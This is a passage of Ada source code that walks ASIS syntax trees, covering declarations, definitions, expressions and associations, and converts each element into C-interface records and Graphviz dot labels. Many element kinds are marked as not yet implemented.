Add_Body_Block_Statement;
Add_Body_Declarative_Items;
Add_Body_Exception_Handlers;
Add_Body_Statements;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Corresponding_End_Name;
Add_Entry_Barrier;
Add_Entry_Index_Specification;
Add_Is_Name_Repeated;
Add_Parameter_Profile;
Add_Pragmas;
Add_Protected_Operation_Items;
when An_Entry_Index_Specification =>
Add_Specification_Subtype_Definition;
when A_Procedure_Body_Stub =>
Add_Corresponding_Body;
Add_Corresponding_Body_Stub;
Add_Corresponding_Declaration;
Add_Corresponding_Subunit;
Add_Is_Dispatching_Operation;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
Add_Parameter_Profile;
when A_Function_Body_Stub =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Corresponding_Subunit;
Add_Is_Dispatching_Operation;
Add_Is_Not_Null_Return;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
Add_Parameter_Profile;
Add_Result_Profile;
when A_Package_Body_Stub =>
Add_Corresponding_Body;
Add_Corresponding_Body_Stub;
Add_Corresponding_Declaration;
Add_Corresponding_Subunit;
when A_Task_Body_Stub =>
Add_Corresponding_Body;
Add_Corresponding_Body_Stub;
Add_Corresponding_Declaration;
Add_Corresponding_Subunit;
Add_Has_Task;
when A_Protected_Body_Stub =>
Add_Corresponding_Body;
Add_Corresponding_Body_Stub;
Add_Corresponding_Declaration;
Add_Corresponding_Subunit;
Add_Has_Protected;
when An_Exception_Declaration =>
null; -- No more info
when A_Choice_Parameter_Specification =>
null; -- No more info
when A_Generic_Procedure_Declaration =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Formal_Part;
Add_Parameter_Profile;
Add_Pragmas;
when A_Generic_Function_Declaration =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Formal_Part;
Add_Is_Not_Null_Return;
Add_Parameter_Profile;
Add_Pragmas;
Add_Result_Profile;
when A_Generic_Package_Declaration =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Corresponding_End_Name;
Add_Generic_Formal_Part;
Add_Is_Name_Repeated;
Add_Is_Private_Present;
Add_Pragmas;
Add_Private_Part_Declarative_Items;
Add_Visible_Part_Declarative_Items;
when A_Package_Instantiation =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Actual_Part;
Add_Generic_Unit_Name;
when A_Procedure_Instantiation =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Actual_Part;
Add_Generic_Unit_Name;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
when A_Function_Instantiation =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Actual_Part;
Add_Generic_Unit_Name;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
when A_Formal_Object_Declaration =>
Add_Declaration_Subtype_Mark;
-- Add_Has_Null_Exclusion; -- A2005
Add_Initialization_Expression;
-- Add_Object_Declaration_View; -- A2005
Add_Mode_Kind;
when A_Formal_Type_Declaration =>
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
Add_Corresponding_Parent_Subtype;
Add_Corresponding_Root_Type;
Add_Corresponding_Type_Operators;
Add_Corresponding_Type_Structure;
Add_Discriminant_Part;
Add_Type_Declaration_View;
when A_Formal_Incomplete_Type_Declaration => -- A2012
State.Add_Not_Implemented;
when A_Formal_Procedure_Declaration =>
Add_Default_Kind;
Add_Formal_Subprogram_Default;
Add_Has_Abstract;
Add_Parameter_Profile;
when A_Formal_Function_Declaration =>
Add_Default_Kind;
Add_Formal_Subprogram_Default;
Add_Has_Abstract;
Add_Parameter_Profile;
Add_Result_Profile;
-- Add_Is_Not_Null_Return -- A2005
when A_Formal_Package_Declaration =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Unit_Name;
Add_Generic_Actual_Part;
when A_Formal_Package_Declaration_With_Box =>
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Generic_Unit_Name;
-- Add_Generic_Actual_Part; -- A2005
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Declaration;
State.A_Element.The_Union.Declaration := Result;
end Process_Declaration;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Definition
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Definition";
-----------------------------------------------------------------------
-- BEGIN field support (Alphabetical order):
function Component_Definition_View return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Component_Definition_View (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Component_Definition_View", ID);
return ID;
end;
function Corresponding_Parent_Subtype return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Parent_Subtype
(Element));
begin
State.Add_To_Dot_Label ("Corresponding_Parent_Subtype", To_String (ID));
return ID;
end;
function Corresponding_Root_Type return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Root_Type
(Element));
begin
State.Add_To_Dot_Label ("Corresponding_Root_Type", To_String (ID));
return ID;
end;
function Corresponding_Type_Operators return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Corresponding_Type_Operators (Element),
Dot_Label_Name => "Corresponding_Type_Operators");
end;
function Corresponding_Type_Structure return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Type_Structure
(Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type_Structure", To_String (ID));
return ID;
end;
function Definition_Interface_List return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Definition_Interface_List (Element),
Dot_Label_Name => "Definition_Interface_List");
end;
function Delta_Expression return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Delta_Expression (Element));
begin
State.Add_To_Dot_Label ("Delta_Expression", To_String (ID));
return ID;
end;
function Digits_Expression return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Digits_Expression (Element));
begin
State.Add_To_Dot_Label ("Digits_Expression", To_String (ID));
return ID;
end;
function Discrete_Ranges return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Discrete_Ranges (Element),
Dot_Label_Name => "Discrete_Ranges");
end;
function Discriminant_Associations return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Discriminant_Associations (Element),
Dot_Label_Name => "Discriminant_Associations");
end;
function Has_Abstract return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Abstract (Element);
begin
State.Add_To_Dot_Label ("Has_Abstract", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Has_Limited return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Limited (Element);
begin
State.Add_To_Dot_Label ("Has_Limited", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Has_Null_Exclusion return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Null_Exclusion (Element);
begin
State.Add_To_Dot_Label ("Has_Null_Exclusion", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Has_Private return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Private (Element);
begin
State.Add_To_Dot_Label ("Has_Private", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Has_Tagged return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Tagged (Element);
begin
State.Add_To_Dot_Label ("Has_Tagged", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Has_Task return ICE.bool is
Value : constant Boolean := Asis.Elements.Has_Task (Element);
begin
State.Add_To_Dot_Label ("Has_Task", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Implicit_Components return a_nodes_h.Element_ID_List is
-- Not implemented in ASIS for GNAT GPL 2017 (20170515-63)GNAT GPL 2017 (20170515-63):
Implemented_In_Asis : constant Boolean := False;
begin
if Implemented_In_Asis then
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Implicit_Components (Element),
Dot_Label_Name => "Implicit_Components");
else
return a_nodes_h.Support.Empty_Element_ID_List;
end if;
end;
function Implicit_Inherited_Declarations return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Implicit_Inherited_Declarations (Element),
Dot_Label_Name => "Implicit_Inherited_Declarations");
end;
function Implicit_Inherited_Subprograms return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Implicit_Inherited_Subprograms (Element),
Dot_Label_Name => "Implicit_Inherited_Subprograms");
end;
function Is_Private_Present return ICE.bool is
Value : constant Boolean := Asis.Definitions.Is_Private_Present (Element);
begin
State.Add_To_Dot_Label ("Is_Private_Present", Value);
return a_nodes_h.Support.To_bool (Value);
end;
function Lower_Bound return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Lower_Bound (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Lower_Bound", ID);
return ID;
end;
function Parent_Subtype_Indication return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Parent_Subtype_Indication
(Element));
begin
State.Add_To_Dot_Label_And_Edge ("Parent_Subtype_Indication", ID);
return ID;
end;
function Private_Part_Items return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Private_Part_Items (Element),
Dot_Label_Name => "Private_Part_Items");
end;
function Range_Attribute return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Range_Attribute (Element));
begin
State.Add_To_Dot_Label ("Range_Attribute", To_String (ID));
return ID;
end;
function Real_Range_Constraint return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Real_Range_Constraint (Element));
begin
State.Add_To_Dot_Label ("Real_Range_Constraint", To_String (ID));
return ID;
end;
function Record_Components return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Record_Components (Element),
Dot_Label_Name => "Record_Components",
Add_Edges => True);
end;
function Record_Definition return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Record_Definition (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Record_Definition", ID);
return ID;
end;
function Subtype_Constraint return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Subtype_Constraint (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Subtype_Constraint", ID);
return ID;
end;
function Subtype_Mark return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Subtype_Mark (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Subtype_Mark", ID);
return ID;
end;
function Upper_Bound return a_nodes_h.Element_ID is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Upper_Bound (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Upper_Bound", ID);
return ID;
end;
function Visible_Part_Items return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List
(This => State,
Elements_In => Asis.Definitions.Visible_Part_Items (Element),
Dot_Label_Name => "Visible_Part_Items",
Add_Edges => True);
end;
-- END Field support
-----------------------------------------------------------------------
-- BEGIN record support:
function Subtype_Constraint return a_nodes_h.Constraint_Struct is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Subtype_Constraint";
Result : a_nodes_h.Constraint_Struct :=
a_nodes_h.Support.Default_Constraint_Struct;
Constraint_Kind : constant Asis.Constraint_Kinds :=
Asis.Elements.Constraint_Kind (Element);
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Constraint_Kind", Constraint_Kind'Image);
Result.Constraint_Kind := anhS.To_Constraint_Kinds (Constraint_Kind);
end Add_Common_Items;
use all type Asis.Constraint_Kinds;
begin
If Constraint_Kind /= Not_A_Constraint then
Add_Common_Items;
end if;
case Constraint_Kind is
when Not_A_Constraint =>
raise Program_Error with
Module_Name & " called with: " & Constraint_Kind'Image;
when A_Range_Attribute_Reference =>
Result.Range_Attribute := Range_Attribute;
when A_Simple_Expression_Range =>
Result.Lower_Bound := Lower_Bound;
Result.Upper_Bound := Upper_Bound;
when A_Digits_Constraint =>
Result.Digits_Expression := Digits_Expression;
Result.Real_Range_Constraint := Real_Range_Constraint;
when A_Delta_Constraint =>
Result.Delta_Expression := Delta_Expression;
Result.Real_Range_Constraint := Real_Range_Constraint;
when An_Index_Constraint =>
Result.Discrete_Ranges := Discrete_Ranges;
when A_Discriminant_Constraint =>
Result.Discriminant_Associations := Discriminant_Associations;
end case;
return Result;
end Subtype_Constraint;
function Type_Definition
return a_nodes_h.Type_Definition_Struct
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Type_Definition";
Result : a_nodes_h.Type_Definition_Struct :=
a_nodes_h.Support.Default_Type_Definition_Struct;
Type_Kind : constant Asis.Type_Kinds :=
Asis.Elements.Type_Kind (Element);
procedure Add_Common_Items is
begin -- Add_Common_Items
State.Add_To_Dot_Label ("Type_Kind", Type_Kind'Image);
Result.Type_Kind := anhS.To_Type_Kinds (Type_Kind);
Result.Has_Abstract := Has_Abstract;
Result.Has_Limited := Has_Limited;
Result.Has_Private := Has_Private;
Result.Corresponding_Type_Operators := Corresponding_Type_Operators;
end Add_Common_Items;
use all type Asis.Type_Kinds;
begin -- Process_Type_Definition
If Type_Kind /= Not_A_Type_Definition then
Add_Common_Items;
end if;
case Type_Kind is
when Not_A_Type_Definition =>
raise Program_Error with
Module_Name & " called with: " & Type_Kind'Image;
when A_Derived_Type_Definition =>
Result.Parent_Subtype_Indication := Parent_Subtype_Indication;
Result.Implicit_Inherited_Declarations := Implicit_Inherited_Declarations;
Result.Implicit_Inherited_Subprograms := Implicit_Inherited_Subprograms;
Result.Corresponding_Parent_Subtype := Corresponding_Parent_Subtype;
Result.Corresponding_Root_Type := Corresponding_Root_Type;
Result.Corresponding_Type_Structure := Corresponding_Type_Structure;
when A_Derived_Record_Extension_Definition =>
Result.Parent_Subtype_Indication := Parent_Subtype_Indication;
Result.Record_Definition := Record_Definition;
Result.Implicit_Inherited_Declarations := Implicit_Inherited_Declarations;
Result.Implicit_Inherited_Subprograms := Implicit_Inherited_Subprograms;
Result.Corresponding_Parent_Subtype := Corresponding_Parent_Subtype;
Result.Corresponding_Root_Type := Corresponding_Root_Type;
Result.Corresponding_Type_Structure := Corresponding_Type_Structure;
Result.Definition_Interface_List := Definition_Interface_List;
when An_Enumeration_Type_Definition |
A_Signed_Integer_Type_Definition |
A_Modular_Type_Definition |
A_Root_Type_Definition |
A_Floating_Point_Definition |
An_Ordinary_Fixed_Point_Definition |
A_Decimal_Fixed_Point_Definition |
An_Unconstrained_Array_Definition |
A_Constrained_Array_Definition =>
State.Add_Not_Implemented;
when A_Record_Type_Definition =>
Result.Record_Definition := Record_Definition;
Result.Has_Tagged := Has_Tagged; -- Small x in spreadsheet? := Has_Tagged; -- Small x in spreadsheet?
when A_Tagged_Record_Type_Definition =>
Result.Record_Definition := Record_Definition;
when An_Interface_Type_Definition =>
State.Add_Not_Implemented;
when An_Access_Type_Definition =>
Result.Has_Null_Exclusion := Has_Null_Exclusion;
State.Add_Not_Implemented;
end case;
return Result;
end Type_Definition;
function Subtype_Indication
return a_nodes_h.Subtype_Indication_Struct
is
Result : a_nodes_h.Subtype_Indication_Struct :=
a_nodes_h.Support.Default_Subtype_Indication_Struct;
begin -- Process_Subtype_Indication
Result.Has_Null_Exclusion := Has_Null_Exclusion;
Result.Subtype_Mark := Subtype_Mark;
Result.Subtype_Constraint := Subtype_Constraint;
return Result;
end Subtype_Indication;
function Constraint
return a_nodes_h.Constraint_Struct
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Constraint";
Result : a_nodes_h.Constraint_Struct :=
a_nodes_h.Support.Default_Constraint_Struct;
Constraint_Kind : constant Asis.Constraint_Kinds :=
Asis.Elements.Constraint_Kind (Element);
procedure Add_Digits_Expression is
begin
State.Add_Not_Implemented;
end;
procedure Add_Delta_Expression is
begin
State.Add_Not_Implemented;
end;
procedure Add_Real_Range_Constraint is
begin
State.Add_Not_Implemented;
end;
procedure Add_Range_Attribute is
begin
State.Add_Not_Implemented;
end;
procedure Add_Discrete_Ranges is
begin
State.Add_Not_Implemented;
end;
procedure Add_Discriminant_Associations is
begin
State.Add_Not_Implemented;
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Constraint_Kind", Constraint_Kind'Image);
Result.Constraint_Kind := anhS.To_Constraint_Kinds (Constraint_Kind);
end Add_Common_Items;
use all type Asis.Constraint_Kinds;
begin -- Process_Constraint
if Constraint_Kind /= Not_A_Constraint then
Add_Common_Items;
end if;
case Constraint_Kind is
when Not_A_Constraint =>
raise Program_Error with
"Element.Pre_Children.Process_Definition.Process_Constraint called with: " &
Constraint_Kind'Image;
when A_Range_Attribute_Reference =>
Result.Range_Attribute := Range_Attribute;
when A_Simple_Expression_Range =>
Result.Lower_Bound := Lower_Bound;
Result.Upper_Bound := Upper_Bound;
when A_Digits_Constraint =>
Result.Digits_Expression := Digits_Expression;
Result.Real_Range_Constraint := Real_Range_Constraint;
when A_Delta_Constraint =>
Result.Delta_Expression := Delta_Expression;
Result.Real_Range_Constraint := Real_Range_Constraint;
when An_Index_Constraint =>
Result.Discrete_Ranges := Discrete_Ranges;
when A_Discriminant_Constraint =>
Result.Discriminant_Associations := Discriminant_Associations;
end case;
return Result;
end Constraint;
-----------------------------------------------------------------------
-- Has side effects:
function Record_Definition
return a_nodes_h.Record_Definition_Struct
is
Result : a_nodes_h.Record_Definition_Struct :=
a_nodes_h.Support.Default_Record_Definition_Struct;
begin
Result.Record_Components := Record_Components;
Result.Implicit_Components := Implicit_Components;
return Result;
end Record_Definition;
-----------------------------------------------------------------------
-- Has side effects:
function Task_Definition
return a_nodes_h.Task_Definition_Struct
is
Result : a_nodes_h.Task_Definition_Struct :=
a_nodes_h.Support.Default_Task_Definition_Struct;
begin
Result.Has_Task := Has_Task;
Result.Visible_Part_Items := Visible_Part_Items;
Result.Private_Part_Items := Private_Part_Items;
Result.Is_Private_Present := Is_Private_Present;
return Result;
end Task_Definition;
-- END record support
-----------------------------------------------------------------------
Result : a_nodes_h.Definition_Struct :=
a_nodes_h.Support.Default_Definition_Struct;
Definition_Kind : constant Asis.Definition_Kinds :=
Asis.Elements.Definition_Kind (Element);
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Definition_Kind", Definition_Kind'Image);
Result.Definition_Kind := anhS.To_Definition_Kinds (Definition_Kind);
end Add_Common_Items;
use all type Asis.Definition_Kinds;
begin -- Process_Definition
If Definition_Kind /= Not_A_Definition then
Add_Common_Items;
end if;
case Definition_Kind is
when Not_A_Definition =>
raise Program_Error with
"Element.Pre_Children.Process_Definition called with: " &
Definition_Kind'Image;
when A_Type_Definition =>
Result.The_Union.The_Type_Definition := Type_Definition;
when A_Subtype_Indication =>
Result.The_Union.The_Subtype_Indication := Subtype_Indication;
when A_Constraint =>
Result.The_Union.The_Constraint := Constraint;
when A_Component_Definition =>
Result.The_Union.The_Component_Definition.
Component_Definition_View := Component_Definition_View;
when A_Discrete_Subtype_Definition =>
State.Add_Not_Implemented;
when A_Discrete_Range =>
State.Add_Not_Implemented;
when An_Unknown_Discriminant_Part =>
-- No more components:
null;
when A_Known_Discriminant_Part =>
State.Add_Not_Implemented;
when A_Record_Definition =>
Result.The_Union.The_Record_Definition := Record_Definition;
when A_Null_Record_Definition =>
null; -- No more components
when A_Null_Component =>
null; -- No more components
when A_Variant_Part =>
State.Add_Not_Implemented;
when A_Variant =>
State.Add_Not_Implemented;
when An_Others_Choice =>
null; -- No more components
when An_Access_Definition =>
-- Access_Definition_Kinds
State.Add_Not_Implemented;
when A_Private_Type_Definition =>
State.Add_Not_Implemented;
when A_Tagged_Private_Type_Definition =>
State.Add_Not_Implemented;
when A_Private_Extension_Definition =>
State.Add_Not_Implemented;
when A_Task_Definition =>
Result.The_Union.The_Task_Definition := Task_Definition;
when A_Protected_Definition =>
State.Add_Not_Implemented;
when A_Formal_Type_Definition =>
State.Add_Not_Implemented;
when An_Aspect_Specification =>
State.Add_Not_Implemented;
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Definition;
State.A_Element.The_Union.Definition := Result;
end Process_Definition;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Expression
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Expression";
Result : a_nodes_h.Expression_Struct :=
a_nodes_h.Support.Default_Expression_Struct;
Expression_Kind : Asis.Expression_Kinds :=
Asis.Elements.Expression_Kind (Element);
-- Supporting procedures are in alphabetical order:
procedure Add_Converted_Or_Qualified_Expression is
ID : constant a_nodes_h.Element_ID := Get_Element_ID
(Asis.Expressions.Converted_Or_Qualified_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge
("Converted_Or_Qualified_Expression", ID);
Result.Converted_Or_Qualified_Expression :=
ID;
end;
procedure Add_Converted_Or_Qualified_Subtype_Mark is
ID : constant a_nodes_h.Element_ID := Get_Element_ID
(Asis.Expressions.Converted_Or_Qualified_Subtype_Mark (Element));
begin
State.Add_To_Dot_Label_And_Edge
("Converted_Or_Qualified_Subtype_Mark", ID);
Result.Converted_Or_Qualified_Subtype_Mark :=
ID;
end;
procedure Add_Corresponding_Called_Function is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Corresponding_Called_Function
(Element));
begin
State.Add_To_Dot_Label
("Corresponding_Called_Function", To_String (ID));
Result.Corresponding_Called_Function := ID;
end;
procedure Add_Corresponding_Expression_Type is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Corresponding_Expression_Type
(Element));
begin
State.Add_To_Dot_Label
("Corresponding_Expression_Type", To_String (ID));
Result.Corresponding_Expression_Type := ID;
end;
procedure Add_Corresponding_Name_Declaration is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name &
".Add_Corresponding_Name_Declaration";
procedure Log (Message : in Wide_String) is
begin
Put_Line (Module_Name & ": " & To_String (Message));
end;
ID : a_nodes_h.Element_ID := anhS.Invalid_Element_ID;
begin
begin
ID := Get_Element_ID
(Asis.Expressions.Corresponding_Name_Declaration (Element));
exception
when X : Asis.Exceptions.Asis_Inappropriate_Element =>
Log_Exception (X);
Log ("Continuing...");
end;
State.Add_To_Dot_Label
("Corresponding_Name_Declaration", To_String (ID));
Result.Corresponding_Name_Declaration := ID;
end;
procedure Add_Corresponding_Name_Definition is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name &
".Add_Corresponding_Name_Definition";
procedure Log (Message : in Wide_String) is
begin
Put_Line (Module_Name & ": " & To_String (Message));
end;
ID : a_nodes_h.Element_ID := anhS.Invalid_Element_ID;
begin
begin
ID := Get_Element_ID
(Asis.Expressions.Corresponding_Name_Definition (Element));
exception
when X : Asis.Exceptions.Asis_Inappropriate_Element =>
Log_Exception (X);
Log ("Continuing...");
end;
State.Add_To_Dot_Label
("Corresponding_Name_Definition", To_String (ID));
Result.Corresponding_Name_Definition := ID;
end;
procedure Add_Corresponding_Name_Definition_List is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name &
".Add_Corresponding_Name_Definition_List";
procedure Log (Message : in Wide_String) is
begin
Put_Line (Module_Name & ": " & To_String (Message));
end;
begin
begin
Add_Element_List
(This => State,
Elements_In => Asis.Expressions.
Corresponding_Name_Definition_List (Element),
Dot_Label_Name => "Corresponding_Name_Definition_List",
List_Out => Result.Corresponding_Name_Definition_List);
exception
when X : Asis.Exceptions.Asis_Inappropriate_Element =>
Log_Exception (X);
Log ("Continuing...");
end;
end;
procedure Add_Function_Call_Parameters is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Expressions.
Function_Call_Parameters (Element),
Dot_Label_Name => "Function_Call_Parameters",
List_Out => Result.Function_Call_Parameters,
Add_Edges => True);
end;
procedure Add_Name_Image is
WS : constant Wide_String := Asis.Expressions.Name_Image (Element);
begin
State.Add_To_Dot_Label ("Name_Image", To_Quoted_String (WS));
Result.Name_Image := To_Chars_Ptr (WS);
end;
procedure Add_Prefix is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Prefix (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Prefix", ID);
Result.Prefix := ID;
end;
procedure Add_Selector is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Selector (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Selector", ID);
Result.Selector := ID;
end;
procedure Add_Subpool_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Subpool_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Subpool_Name", ID);
Result.Subpool_Name := ID;
end;
procedure Add_Value_Image is
WS : constant Wide_String := Asis.Expressions.Value_Image (Element);
use all type Asis.Expression_Kinds;
begin
State.Add_To_Dot_Label
("Value_Image",
(if Expression_Kind = A_String_Literal then
To_Quoted_String (WS)
else
To_String (WS)));
Result.Value_Image := To_Chars_Ptr(WS);
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Expression_Kind", Expression_Kind'Image);
Result.Expression_Kind := anhS.To_Expression_Kinds (Expression_Kind);
Add_Corresponding_Expression_Type;
end Add_Common_Items;
use all type Asis.Expression_Kinds;
begin
If Expression_Kind /= Not_An_Expression then
Add_Common_Items;
end if;
case Expression_Kind is
when Not_An_Expression =>
raise Program_Error with
Module_Name & " called with: " & Expression_Kind'Image;
when A_Box_Expression =>
-- No more info:
null;
when An_Integer_Literal =>
Add_Value_Image;
when A_Real_Literal =>
Add_Value_Image;
when A_String_Literal =>
Add_Value_Image;
when An_Identifier =>
Add_Name_Image;
Add_Corresponding_Name_Definition;
Add_Corresponding_Name_Definition_List;
Add_Corresponding_Name_Declaration;
when An_Operator_Symbol =>
Add_Name_Image;
Add_Corresponding_Name_Definition;
Add_Corresponding_Name_Definition_List;
Add_Corresponding_Name_Declaration;
Result.Operator_Kind := Add_Operator_Kind (State, Element);
when A_Character_Literal =>
Add_Name_Image;
Add_Corresponding_Name_Definition;
Add_Corresponding_Name_Definition_List;
Add_Corresponding_Name_Declaration;
when An_Enumeration_Literal =>
Add_Name_Image;
Add_Corresponding_Name_Definition;
Add_Corresponding_Name_Definition_List;
Add_Corresponding_Name_Declaration;
when An_Explicit_Dereference =>
State.Add_Not_Implemented;
when A_Function_Call =>
Add_Prefix;
Add_Corresponding_Called_Function;
Add_Function_Call_Parameters;
when An_Indexed_Component =>
State.Add_Not_Implemented;
when A_Slice =>
State.Add_Not_Implemented;
when A_Selected_Component =>
Add_Prefix;
Add_Selector;
when An_Attribute_Reference =>
State.Add_To_Dot_Label ("Attribute_Kind",
Asis.Elements.Attribute_Kind (Element)'Image);
-- Prefix
-- Attribute_Designator_Identifier
-- Attribute_Designator_Expressions
State.Add_Not_Implemented;
when A_Record_Aggregate =>
State.Add_Not_Implemented;
when An_Extension_Aggregate =>
State.Add_Not_Implemented;
when A_Positional_Array_Aggregate =>
State.Add_Not_Implemented;
when A_Named_Array_Aggregate =>
State.Add_Not_Implemented;
when An_And_Then_Short_Circuit =>
State.Add_Not_Implemented;
when An_Or_Else_Short_Circuit =>
State.Add_Not_Implemented;
when An_In_Membership_Test =>
State.Add_Not_Implemented;
when A_Not_In_Membership_Test =>
State.Add_Not_Implemented;
when A_Null_Literal =>
-- No more information:
null;
State.Add_Not_Implemented;
when A_Parenthesized_Expression =>
State.Add_Not_Implemented;
when A_Raise_Expression =>
State.Add_Not_Implemented;
when A_Type_Conversion =>
Add_Converted_Or_Qualified_Subtype_Mark;
Add_Converted_Or_Qualified_Expression;
when A_Qualified_Expression =>
State.Add_Not_Implemented;
when An_Allocation_From_Subtype =>
Add_Subpool_Name;
State.Add_Not_Implemented;
when An_Allocation_From_Qualified_Expression =>
Add_Subpool_Name;
State.Add_Not_Implemented;
when A_Case_Expression =>
State.Add_Not_Implemented;
when An_If_Expression =>
State.Add_Not_Implemented;
when A_For_All_Quantified_Expression =>
State.Add_Not_Implemented;
when A_For_Some_Quantified_Expression =>
State.Add_Not_Implemented;
end case;
State.A_Element.Element_Kind := a_nodes_h.An_Expression;
State.A_Element.The_Union.Expression := Result;
end Process_Expression;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Association
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Association";
Result : a_nodes_h.Association_Struct :=
a_nodes_h.Support.Default_Association_Struct;
Association_Kind : Asis.Association_Kinds :=
Asis.Elements.Association_Kind (Element);
procedure Add_Formal_Parameter is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Formal_Parameter (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Formal_Parameter", ID);
Result.Formal_Parameter := ID;
end;
procedure Add_Actual_Parameter is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Actual_Parameter (Element));
begin
